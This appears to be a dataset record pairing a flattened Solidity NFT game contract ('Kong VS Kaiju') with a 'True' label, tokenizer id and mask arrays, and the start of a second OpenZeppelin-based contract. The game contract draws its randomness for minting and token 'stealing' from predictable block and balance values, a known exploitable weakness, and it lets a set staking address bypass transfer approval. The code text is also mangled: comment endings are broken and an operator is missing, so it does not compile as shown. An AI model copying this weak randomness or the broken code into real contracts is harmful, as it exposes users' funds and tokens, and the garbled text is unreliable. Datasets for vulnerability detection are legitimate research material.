Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // ERC721Enumerable pragma solidity ^0.8.0; /* * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. / abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. / function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /* * @dev See {IERC721Enumerable-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /* * @dev See {IERC721Enumerable-tokenByIndex}. / function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /* * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address / function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /* * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list / function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /* * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address / function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /* * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list / function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } //Kong VS Kaiju Game interface IGAMMA { function balanceOf(address owner) external view returns (uint); function burn(address account, uint amount) external; } interface ISkullisland { function randomkongOwner() external returns (address); function addTokensToStake(address account, uint16[] calldata tokenIds) external; } contract KongKaiju is ERC721Enumerable, Ownable { uint public MAX_SUPPLY = 5000; uint constant public MAX_Mint = 5; bool public WhiteListIsActive = false; uint public MAX_WL_PURCHASE = 2; uint public MAX_LEVEL = 10; uint public tokensMinted = 0; uint16 public phase = 1; uint16 public kongStolen = 0; uint16 public KaijuStolen = 0; uint16 public kongMinted = 0; bool private _paused = true; mapping(uint16 => uint) public phasePrice; ISkullisland public skullIsland; IGAMMA public Gamma; string private _baseapiURI; mapping(uint16 => bool) private _iskong; mapping (address => bool) whitelist; mapping (address => bool) OGlist; mapping(address => uint256) public minted; mapping(uint16 => uint16) public TokenIdLevel; uint16[] private _availableTokens; uint16 private _randomIndex = 0; uint private _randomCalls = 0; uint public LEVEL_COST = 10000 ether; mapping(uint16 => address) private _TopEXAddress; event TokenStolen(address owner, uint16 tokenId, address thief); constructor() ERC721("Kong VS Kaiju Game - KVK", "KVK") { // Set mint sales switchToSalePhase(1, true); // Set default price for each phase phasePrice[1] = 0.05 ether; phasePrice[2] = 20000 ether; phasePrice[3] = 40000 ether; phasePrice[4] = 80000 ether; // Use top exchange and miner addresses to get random number. Changes every second _TopEXAddress[0] = 0xEA674fdDe714fd979de3EdF0F56AA9716B898ec8; _TopEXAddress[1] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; _TopEXAddress[2] = 0xf66852bC122fD40bFECc63CD48217E88bda12109; _TopEXAddress[3] = 0x267be1C1D684F78cb4F6a176C4911b741E4Ffdc0; _TopEXAddress[4] = 0x28C6c06298d514Db089934071355E5743bf21d60; } function isEligiblePrivateSale(address _wallet) public view virtual returns (bool){ return whitelist[_wallet]; } function isEligibleOGSale(address _wallet) public view virtual returns (bool){ return OGlist[_wallet]; } function addWalletsToWhiteList(address[] memory _wallets) public onlyOwner{ for(uint i = 0; i < _wallets.length; i++) { whitelist[_wallets[i]] = true; } } function addWalletsToOGList(address[] memory _wallets) public onlyOwner{ for(uint i = 0; i < _wallets.length; i++) { OGlist[_wallets[i]] = true; } } function getSomeRandomNumber(uint _seed, uint _limit) internal view returns (uint16) { uint extra = 0; for (uint16 i = 0; i < 5; i++) { extra += _TopEXAddress[_randomIndex].balance; } uint random = uint( keccak256( abi.encodePacked( _seed, blockhash(block.number - 1), block.coinbase, block.difficulty, msg.sender, tokensMinted, extra, _randomCalls, _randomIndex ) ) ); return uint16(random % _limit); } function mintPrice(uint _amount) public view returns (uint) { return _amount phasePrice[phase]; } function iskong(uint16 id) public view returns (bool) { return _iskong[id]; } function flipWLSaleState() public onlyOwner { WhiteListIsActive = !WhiteListIsActive; } modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } function setPaused(bool _state) external onlyOwner { _paused = _state; } function setMAX_SUPPLY(uint _max) external onlyOwner { MAX_SUPPLY = _max; } function setMAX_LEVLE(uint _level) external onlyOwner { MAX_LEVEL = _level; } function setLEVEL_COST(uint _levelcost) external onlyOwner { LEVEL_COST = _levelcost; } function paused() public view virtual returns (bool) { return _paused; } function addAvailableTokens(uint16 _from, uint16 _to) public onlyOwner { internalAddTokens(_from, _to); } function internalAddTokens(uint16 _from, uint16 _to) internal { for (uint16 i = _from; i <= _to; i++) { _availableTokens.push(i); } } function GetTokenIdLevel(uint16 _tokenID) public view returns (uint16) { return TokenIdLevel[_tokenID]; } function LevelUp(uint16 _tokenID) public payable whenNotPaused { require(TokenIdLevel[_tokenID] < MAX_LEVEL, "All level reached "); uint Gammacost = 0; Gammacost = (TokenIdLevel[_tokenID] + 1) * LEVEL_COST; require(Gamma.balanceOf(msg.sender) >= Gammacost, "Not enough GAMMA"); if (Gammacost > 0) { Gamma.burn(msg.sender, Gammacost); TokenIdLevel[_tokenID] ++; } } function switchToSalePhase(uint16 _phase, bool _setTokens) public onlyOwner { phase = _phase; if (!_setTokens) { return; } if (phase == 1) { internalAddTokens(1, 4999); } else if (phase == 2) { internalAddTokens(5000, 10000); } else if (phase == 3) { internalAddTokens(10001, 20000); } else if (phase == 4) { internalAddTokens(20001, 29999); } } function Reserve(uint _amount, address _address) public onlyOwner { require(tokensMinted + _amount <= MAX_SUPPLY, "All tokens minted"); require(_availableTokens.length > 0, "All tokens for this Phase are already sold"); for (uint i = 0; i < _amount; i++) { uint16 tokenId = getTokenToBeMinted(); _safeMint(_address, tokenId); tokensMinted ++; } } function presaleWL(uint _amount, bool _stake) public payable { require(WhiteListIsActive, "Pre Sale must be active to mint tokens"); require(whitelist[msg.sender] \|\| OGlist[msg.sender], "You are not in whitelist"); require(tx.origin == msg.sender, "Only EOA"); require(tokensMinted + _amount <= MAX_SUPPLY, "All tokens minted"); require(_availableTokens.length > 0, "All tokens for this Phase are already sold"); if (OGlist[msg.sender]) { MAX_WL_PURCHASE = 3; } require(minted[msg.sender] + _amount <= MAX_WL_PURCHASE, "Max 3 tokens per wallet"); require(mintPrice(_amount) == msg.value, "Invalid payment amount"); tokensMinted += _amount; uint16[] memory tokenIds = _stake ? new uint16[](_amount) : new uint16[](0); for (uint i = 0; i < _amount; i++) { uint16 tokenId = getTokenToBeMinted(); if (getSomeRandomNumber(tokenId, 100) <= 10) { _iskong[tokenId] = true; // 10% to be Kong } if (_iskong[tokenId]) { kongMinted += 1; } if (!_stake ) { _safeMint(msg.sender, tokenId); } else { _safeMint(address(skullIsland), tokenId); tokenIds[i] = tokenId; } minted[msg.sender]++; } if (_stake) { skullIsland.addTokensToStake(msg.sender, tokenIds); } } function mint(uint _amount, bool _stake) public payable whenNotPaused { require(tx.origin == msg.sender, "Only EOA"); require(tokensMinted + _amount <= MAX_SUPPLY, "All tokens minted"); require(_amount > 0 && _amount <= MAX_Mint, "Invalid mint amount"); require(_availableTokens.length > 0, "All tokens for this Phase are already sold"); uint Gammacost = 0; if (phase == 1) { // Mint sales require(mintPrice(_amount) == msg.value, "Invalid payment amount"); } else { // Mint via token burn require(msg.value == 0, "Now minting is done via GAMMA"); Gammacost = mintPrice(_amount); require(Gamma.balanceOf(msg.sender) >= Gammacost, "Not enough GAMMA"); } if (Gammacost > 0) { Gamma.burn(msg.sender, Gammacost); } tokensMinted += _amount; uint16[] memory tokenIds = _stake ? new uint16[](_amount) : new uint16[](0); for (uint i = 0; i < _amount; i++) { address recipient = selectRecipient(); if (phase != 1) { updateRandomIndex(); } uint16 tokenId = getTokenToBeMinted(); if (getSomeRandomNumber(tokenId, 100) <= 10) { _iskong[tokenId] = true; // 10% to be Kong } if (_iskong[tokenId]) { kongMinted += 1; } if (recipient != msg.sender) { _iskong[tokenId] ? kongStolen += 1 : KaijuStolen += 1; emit TokenStolen(msg.sender, tokenId, recipient); } if (!_stake \|\| recipient != msg.sender) { _safeMint(recipient, tokenId); } else { _safeMint(address(skullIsland), tokenId); tokenIds[i] = tokenId; } } if (_stake) { skullIsland.addTokensToStake(msg.sender, tokenIds); } } function selectRecipient() internal returns (address) { if (phase == 1) { return msg.sender; // no chance to steal NTF during sales } if (getSomeRandomNumber(kongMinted, 100) >= 10) { return msg.sender; // 90% chance to keep NFT } address thief = skullIsland.randomkongOwner(); if (thief == address(0x0)) { return msg.sender; } return thief; } function changePhasePrice(uint16 _phase, uint _weiPrice) external onlyOwner { phasePrice[_phase] = _weiPrice; } function getTokenToBeMinted() private returns (uint16) { uint random = getSomeRandomNumber(_availableTokens.length, _availableTokens.length); uint16 tokenId = _availableTokens[random]; _availableTokens[random] = _availableTokens[_availableTokens.length - 1]; _availableTokens.pop(); return tokenId; } function updateRandomIndex() internal { _randomIndex += 1; _randomCalls += 1; if (_randomIndex > 6) _randomIndex = 0; } function shuffleSeeds(uint _seed, uint _max) external onlyOwner { uint shuffleCount = getSomeRandomNumber(_seed, _max); _randomIndex = uint16(shuffleCount); for (uint i = 0; i < shuffleCount; i++) { updateRandomIndex(); } } function setskullIsland(address _island) external onlyOwner { skullIsland = ISkullisland(_island); } function setGamma(address _Gamma) external onlyOwner { Gamma = IGAMMA(_Gamma); } function setkongId(uint16 id, bool special) external onlyOwner { _iskong[id] = special; } function setkongIds(uint16[] calldata ids) external onlyOwner { for (uint i = 0; i < ids.length; i++) { _iskong[ids[i]] = true; } } function transferFrom(address from, address to, uint tokenId) public virtual override { // Hardcode the Manager's approval so that users don't have to waste gas approving if (_msgSender() != address(skullIsland)) require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function tokensOfOwner(address _owner) external view returns(uint256[] memory ) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } function _baseURI() internal view override returns (string memory) { return _baseapiURI; } function setBaseURI(string memory uri) external onlyOwner { _baseapiURI = uri; } function changeTopEXAddress(uint16 _id, address _address) external onlyOwner { _TopEXAddress[_id] = _address; } function withdraw() external onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2260, 1011, 2410, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 6105, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1032, 1035, 1032, 1013, 1032, 1035, 1032, 1032, 1032, 1013, 1013, 1013, 1032, 1035, 1032, 1013, 1032, 1035, 1032, 1013, 1013, 1013, 1013, 1013, 1013, 1032, 1032, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1032, 1032, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1035, 1035, 1013, 1013, 1013, 1032, 1032, 1013, 1013, 1013, 1013, 1013, 1035, 1035, 1013, 1013, 1013, 1013, 1013, 1032, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1032, 1032, 1013, 1013, 1013, 1013, 1032, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1013, 1013, 1032, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1032, 1032, 1013, 1013, 1013, 1013, 1032, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1013, 1013, 1032, 1032, 1032, 1032, 1032, 1013, 1013, 1013, 1013, 1013, 1032, 1032, 1032, 1013, 1013, 1013, 1032, 1032, 1032, 1032, 1032, 1013, 1013, 1013, 1013, 1013, 1032, 1032, 1032, 1013, 1013, 1013, 1032, 1032, 1032, 1032, 1032, 1013, 1013, 1013, 1013, 1013, 1032, 1032, 1032, 1013, 1035, 1013, 1035, 1013, 1032, 1035, 1032, 1035, 1032, 1032, 1035, 1035, 1013, 1013, 1035, 1013, 1035, 1013, 1032, 1035, 1032, 1035, 1032, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 6123, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 2005, 7781, 2089, 2025, 2022, 1996, 5025, 4604, 2121, 1006, 2004, 2521, 2004, 2019, 4646, 1008, 2003, 4986, 1007, 1012, 1008, 1008, 2023, 3206, 2003, 2069, 3223, 2005, 7783, 1010, 3075, 1011, 2066, 8311, 1012, 1008, 1013, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 2655, 2850, 2696, 1007, 1063, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 3954, 3085, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 4972, 1012, 1008, 1008, 2011, 12398, 1010, 1996, 3954, 4070, 2097, 2022, 1996, 2028, 2008, 21296, 2015, 1996, 3206, 1012, 2023, 1008, 2064, 2101, 2022, 2904, 2007, 1063, 4651, 12384, 2545, 5605, 1065, 1012, 1008, 1008, 2023, 11336, 2003, 2109, 2083, 12839, 1012, 2009, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2022-02-07 / // Sources flattened with hardhat v2.8.0 https://hardhat.org // File @openzeppelin/contracts/utils/introspection/[email protected] // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC721/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC721/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC721/extensions/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts/token/ERC721/extensions/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Enumerable is IERC721 { /* * @dev Returns the total amount of tokens stored by the contract. / function totalSupply() external view returns (uint256); /* * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. / function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /* * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. / function tokenByIndex(uint256 index) external view returns (uint256); } // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to 